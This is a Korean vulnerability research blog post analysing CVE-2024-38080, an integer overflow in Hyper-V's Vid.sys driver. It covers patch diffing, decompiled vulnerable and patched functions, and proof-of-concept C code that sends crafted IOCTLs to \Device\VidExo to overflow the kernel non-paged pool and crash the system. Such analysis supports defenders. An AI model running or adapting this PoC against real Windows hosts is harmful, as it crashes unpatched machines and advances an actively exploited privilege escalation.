[Research] Hyper-V 1-day Class: CVE-2024-38080
Introduction
안녕하세요, pwndorei입니다. 오랜만에 Hyper-V 연구글로 돌아왔습니다! 요즘 연구글 업로드 주기가 좀 수상할 정도로 짧아졌죠? ㅋㅋㅋㅋㅋ 제가 열심히 하고 있다는 증거랍니다..
이번 연구글은 제목처럼 CVE-2024-38080의 분석 및 poc 코드 작성입니다! 앞으로는 Hyper-V 1-day Class라는 시리즈로 Patch Tuesday마다 올라오는 Hyper-V 취약점 연구글이 올라올겁니다 ㅋㅋㅋㅋㅋ
이번 취약점은 7월에 공개되었고 진작에 분석은 다 끝났었는데 익스플로잇 해보겠다고 삽질을 좀 많이 했습니다 ㅋㅋㅋㅋ 실력을 더 키워서 다음에는 꼭 익스플로잇 코드까지 짜보고 싶네요!… 그럼 재밌게 읽어주십쇼!
CVE-2024-38080
- Impact: Elevation of Privilege
- Max Severity: Important
- Weakness: CWE-190(Integer Overflow or Wraparound)
- poc: https://github.com/pwndorei/CVE-2024-38080
Affected Product & Version Infomation
- Windows 11 21H2
- < 10.0.22000.3079
- Windows 11 22H2
- < 10.0.22621.3880
- Windows 11 23H2
- < 10.0.22631.3880
- …
Description
CVE-2024-38080은 Hyper-V에서 발생한 EoP 취약점으로 이를 성공적으로 익스플로잇할 경우 SYSTEM 권한을 얻는 것이 가능합니다.
또한 공개되었을 당시에는 이미 악용 사례가 보고되어 CISA의 Known Exploited Vulnerability Catalog에 등록되기도 한 심각한 취약점이었습니다.
Patch Diffing
Windows 11 22H2 환경에서 2024년 6월(KB5039212)과 CVE-2024-38080이 패치된 2024년 7월(KB5040442)의 패치로부터 Patch-V를 사용해서 Hyper-V와 관련된 바이너리들의 패치를 진행, SYSTEM 권한 획득이 가능한 EoP 취약점이기 때문에 커널 드라이버(.sys)위주로 먼저 Diffing했습니다.
Vulnerability
patch diffing 결과, 아래의 Vid!VidExoBrokerIoctlReceive
함수에서 Integer Overflow 취약점이 발생하는 것을 알 수 있었습니다.
VidExoBrokerIoctlReceive
(Vid.sys 10.0.22621.3672)
__int64 __fastcall VidExoBrokerIoctlReceive(
__int64 VidExoObj,
struct _LIST_ENTRY *a2,
BrokerIrpDataHeader *Dest,
unsigned int OutputLen,
unsigned int *a5)
{
...
ReceivedIRP = (_IRP *)VidExoBrokerpFindAndDequeueSendIrpForFileObject(VidExoObj, a2);//[1] Sent by VidExoBrokerIoctlSend
v9 = ReceivedIRP;
if ( !ReceivedIRP )
{
...
}
Source = (BrokerIrpDataHeader *)ReceivedIRP->AssociatedIrp.SystemBuffer;
if ( OutputLen < 0x10 )
{
VidExoBrokerpQueueSendIrp(VidExoObj, (__int64)ReceivedIRP);
v10 = -1073741306;
VidTraceErrorInternal0("VidExoBrokerIoctlReceive", "onecore\\vm\\vid\\sys\\driver\\videxobroker.c", 198);
goto LABEL_16;
}
Dest->HeaderSize = 16;
Dest->NumHandles = Source->NumHandles;
v12 = 8 * Source->NumHandles + 16;//[2] Integer Overflow
Dest->DataOffset = v12;
Dest->DataLen = Source->DataLen;
v13 = Source->DataLen + v12;//[3] Integer Overflow
if ( OutputLen < v13 )//[4] Bypass length check
{
...
}
RequestorProcess = IoGetRequestorProcess(ReceivedIRP);
v26 = RequestorProcess;
CurrentProcess = PsGetCurrentProcess(v16, v15, v17, v18);
v27 = CurrentProcess;
TargetHandle = (HANDLE *)((char *)Dest + (unsigned int)Dest->HeaderSize);
SourceHandle = (HANDLE *)((char *)Source + (unsigned int)Source->HeaderSize);
v25 = SourceHandle;
Idx = 0i64;
while ( 1 )
{
if ( (unsigned int)Idx >= Source->NumHandles )
{
memmove(
(char *)Dest + (unsigned int)Dest->DataOffset,
(char *)Source + (unsigned int)Source->DataOffset,
(unsigned int)Source->DataLen);//[5] Non paged pool BOF
v10 = 0;
*a5 = v13;
goto LABEL_15;
}
LOBYTE(v24) = 1;
v10 = ObDuplicateObject(RequestorProcess, SourceHandle[Idx], CurrentProcess, &TargetHandle[Idx], 0, 0, 10, v24);//[6] Non paged pool OOB Write
if ( v10 < 0 )
break;
SourceHandle = v25;
Idx = (unsigned int)(Idx + 1);
RequestorProcess = v26;
CurrentProcess = v27;
}
while ( (_DWORD)Idx )
{
LODWORD(Idx) = Idx - 1;
ZwClose(TargetHandle[(unsigned int)Idx]);
}
VidTraceErrorInternal0("VidExoBrokerIoctlReceive", "onecore\\vm\\vid\\sys\\driver\\videxobroker.c", 261);
LABEL_15:
v9->IoStatus.Status = v10;
IofCompleteRequest(v9, 0);
if ( v10 < 0 )
goto LABEL_16;
return (unsigned int)v10;
}
이 함수는 이름처럼 Ioctl을 Receive하는 역할을 합니다. 먼저 [1]을 보면 VidExoBrokerpFindAndDequeueSendIrpForFileObject
함수가 호출되어 IRP(I/O Request Packet)를 가져옵니다. 가져오는 IRP는 VidExoBrokerIoctlSend
함수를 통해 보내진 IRP입니다. 따라서 이후 참조되는 ReceivedIRP->AssociatedIrp.SystemBuffer
에는 공격자가 컨트롤할 수 있는 데이터가 저장되어 있습니다.
함수의 전체적인 동작을 리버싱해본 결과 VidExoBrokerIoctlSend
로 보내진 IRP(위 코드의 ReceivedIRP
)의 SystemBuffer
(Source
)에 저장된 데이터를 VidExoBrokerIoctlReceive
의 IRP->AssociatedIrp.SystemBuffer
(Dest
)로 복사한다는 것을 알 수 있었고 SystemBuffer
에 저장된 데이터는 아래와 같이 추측할 수 있었습니다.
struct BrokerIrpDataHeader{
DWORD HeaderSize;//0x10
DWORD NumHandles;
DWORD DataOffset;
DWORD DataLen;
}
Low |----------|----------|----------|----------|---------- ... ----------|---------- ... ----------| High
HeaderSize NumHandles DataOffset DataLen `NumHandles` sized `DataLen` bytes of Data
HANDLE Array
데이터의 맨 앞부분에는 0x10 바이트의 헤더가 존재하며 헤더의 뒷부분에 저장된 데이터의 길이, 오프셋 등의 정보를 담고 있습니다.
HeaderSize
: 항상 0x10NumHandles
: 헤더 뒷 부분에 저장된HANDLE
배열에 저장된HANDLE
의 수DataOffset
:HANDLE
배열이 끝나고 Data가 위치한 오프셋을 나타내는 값DataLen
: 데이터의 길이
취약점은 헤더의 필드를 통해 데이터의 총 길이를 계산하는 과정에서 발생합니다. 먼저 [2]에서는 Source
의 NumHandles * 8
에 + 0x10(HeaderSize
)를 하면서 헤더부터 HANDLE
배열까지의 크기를 계산해서 v12
에 저장합니다. 이때 NumHandle
의 값이 0x1ffffffe 이상이라면 Integer Overflow가 발생하게 됩니다. 또한 [3]에서는 [2]로 계산된 값에 DataLen
을 더하게 되는데 이때도 Integer Overflow가 발생할 수 있습니다.
Integer Overflow의 결과, Source
의 총 길이(v13
)이 실제 데이터의 길이보다 작은 값이 되고 Dest
의 크기인 OutputLen
보다 작아지게 되면서 Source
의 크기가 Dest
의 크기(OutputLen
)보다 크지 않은지 검사하는 if문을 통과할 수 있습니다. 이후 비정상적으로 큰 Source
의 DataLen
과 NumHandles
에 의해 각각 [5]의 memmove
에서 buffer overflow를, [6]의 ObDuplicateObject
에서 OOB Write를 유발합니다.
Proof-of-Concept
poc 코드에서는 VidExoBrokerIoctlSend
와 VidExoBrokerIoctlReceive
함수를 호출해서 취약점을 트리거하고 커널의 Non paged pool에서 대량의 overflow를 일으켜 BSOD를 발생시킵니다.
이 함수들은 모두 Hyper-V의 Vid(Virtualization Infrastructure Driver)의 Exo Partition 관리 기능과 연관되어 있고 유저모드 프로세스에서 \Device\VidExo
디바이스 핸들로 호출하는 DeviceIoControl
를 통해 호출됩니다. \Device\VIdExo의 Ioctl Handler를 보면 아래와 같이 각 함수의 IoControlCode를 확인할 수 있습니다.
__int64 __fastcall VidExoIoControlPartition(
struct _KDPC *VidExoObj,
_IRP *irp,
struct _LIST_ENTRY *FileObj,
unsigned int *InputBuffer,
unsigned int InputLen,
unsigned int **OutputBuffer,
unsigned int OutputLen,
unsigned int IoControlCode,
unsigned int *a9)
{
__int64 result; // rax
unsigned int v11; // ecx
*a9 = 0;
if ( IoControlCode > 0x221198 )
{
switch ( IoControlCode )
{
...
case 0x221288u:
if ( InputLen < 0x10 )
goto LABEL_25;
result = VidExoBrokerIoctlSend((__int64)VidExoObj, irp, (BrokerIrpDataHeader *)InputBuffer, InputLen);
break;
case 0x22128Cu:
if ( OutputLen < 0x10 )
LABEL_25:
result = 0xC000000Di64;
else
result = VidExoBrokerIoctlReceive(
(__int64)VidExoObj,
FileObj,
(BrokerIrpDataHeader *)OutputBuffer,
OutputLen,
a9);
break;
default:
goto LABEL_6;
}
}
...
return result;
}
아래는 WHVP(Windows Hypervisor Platform) API를 사용해서 \Device\VidExo
디바이스의 핸들을 얻는 코드입니다.
WHV_PARTITION_HANDLE prtn;
WHV_CAPABILITY cap;
unsigned int size, val;
WHvGetCapability(WHvCapabilityCodeHypervisorPresent, &cap, sizeof(cap), &size);
if (cap.HypervisorPresent == 0)
{
printf("Hypervisor is not present\n");
return -1;
}
WHvCreatePartition(&prtn);
val = 1;//processor cnt
WHvSetPartitionProperty(prtn, WHvPartitionPropertyCodeProcessorCount, &val, sizeof(val));
WHvSetupPartition(prtn);
VidExo = (HANDLE)(*((__int64*)prtn + 1) & 0xfffffffffffffffe);//obtain HANDLE of \Device\VidExo
Exo Partition과 VidExo에 대한 더 자세한 내용은 이전에 다룬 CVE-2023-36407의 분석을 참고해주시기 바랍니다.
이후 아래와 같이 VidExoBrokerIoctlSend
를 호출합니다.
DWORD NumHandles, DataLen;
DataLen = 0xfffff000;//[1]
NumHandles = (0x100000000 - 0x10 - DataLen) / sizeof(HANDLE);
DWORD64* payload = VirtualAlloc(//[2]
NULL,
INPUT_LEN,//0xfffff000
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE
);
if (payload == NULL) {
printf("VirtualAlloc Failed(%x)\n", GetLastError());
WHvDeletePartition(prtn);
return -1;
}
BrokerIrpDataHeader* hdr = payload;
HANDLE proc = GetCurrentProcess();
PHANDLE p = &hdr[1];
hdr->HeaderSize = 0x10;//[3]
hdr->NumHandles = NumHandles;
hdr->DataLen = DataLen;
hdr->DataOffset = 0x0;
for (DWORD i = 0; i < NumHandles; i++) {
*p = proc;
p++;
}
CreateThread(
NULL,
0,
Receive,
NULL,
0,
NULL
);
if (!DeviceIoControl(VidExo, SEND_IOCTL, payload, INPUT_LEN, NULL, 0, NULL, NULL)) {//[5]
printf("DeviceIoControl(SEND_IOCTL) Failed(%x)\n", GetLastError());
goto CLEAN;
}
위 코드에서는 먼저 DataLen
을 0xfffff000으로 설정하고 Integer Overflow가 발생하도록 계산된 값으로 NumHandles
를 초기화합니다([1]). 이후 VidExoBrokerIoctlSend
의 인풋으로 사용될 버퍼를 VirtualAlloc
으로 할당합니다([2]).
정해진 값들로 헤더를 초기화하고 NumHandles
만큼의 핸들 배열을 현재 프로세스의 핸들(proc
)로 초기화합니다([3]). 이는 VidExoBrokerIoctlReceive
에서 모든 핸들이 성공적으로 복제된 다음에 memmove
함수가 호출되기 때문에 반드시 유효한 핸들이어야 합니다.
이후 [5]에서 DeviceIoControl
을 호출해서 VidExoBrokerIoctlSend
함수를 호출합니다. 이때의 DeviceIoControl
호출은 VidExoBrokerIoctlSend
로 보내진 IRP가 VidExoBrokerIoctlReceive
로 수신될 때까지 반환하지 않기 때문에 [4]에서 CreateThread
로 VidExoBrokerIoctlReceive
를 호출할 새로운 스레드를 생성합니다.
생성된 스레드가 호출하는 Receive
함수는 아래와 같습니다.
DWORD WINAPI Receive() {
char buf[0x20];
Sleep(2000);
if (!DeviceIoControl(VidExo, RECV_IOCTL, NULL, 0, buf, 0x20, NULL, NULL)) {
printf("RECV_IOCTL failed(%x)\n", GetLastError());
}
return 0;
}
Patch
패치는 아래와 같이 연산 과정 중간에서 Integer Overflow를 검사하는 것으로 이루어졌습니다.
VidExoBrokerIoctlReceive
(Vid.sys 10.0.22621.3880)
__int64 __fastcall VidExoBrokerIoctlReceive(
__int64 VidExoObj,
__int64 a2,
BrokerIrpDataHeader *Dest,
unsigned int OuputLen,
unsigned int *a5)
{
...
v30 = 0;
v7 = VidExoObj;
ReceivedIRP = (IRP *)VidExoBrokerpFindAndDequeueSendIrpForFileObject(VidExoObj, a2);
v9 = ReceivedIRP;
if ( !ReceivedIRP )
{
...
}
Source = (BrokerIrpDataHeader *)ReceivedIRP->AssociatedIrp.SystemBuffer;
if ( OuputLen < 0x10 )
{
...
}
Dest->HeaderSize = 16;
Dest->NumHandles = Source->NumHandles;
IsEnabledDeviceUsage = Feature_2871081274__private_IsEnabledDeviceUsage();
NumHandles = Source->NumHandles;
if ( IsEnabledDeviceUsage )
{
v15 = 8i64 * NumHandles;
if ( v15 > 0xFFFFFFFF || (v16 = v15 + 16, (unsigned int)v15 >= 0xFFFFFFF0) )//[1] Integer Overflow Check
{
v10 = -1073741306;
VidTraceErrorInternal0("VidExoBrokerIoctlReceive", "onecore\\vm\\vid\\sys\\driver\\videxobroker.c", 220);
goto LABEL_25;
}
Dest->DataOffset = v16;
Dest->DataLen = Source->DataLen;
TotalLength = v16 + Source->DataLen;
if ( TotalLength < v16 ) //[2] Integer Overflow Check
{
v10 = -1073741306;
VidTraceErrorInternal0("VidExoBrokerIoctlReceive", "onecore\\vm\\vid\\sys\\driver\\videxobroker.c", 230);
goto LABEL_25;
}
}
...
}
Demo
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.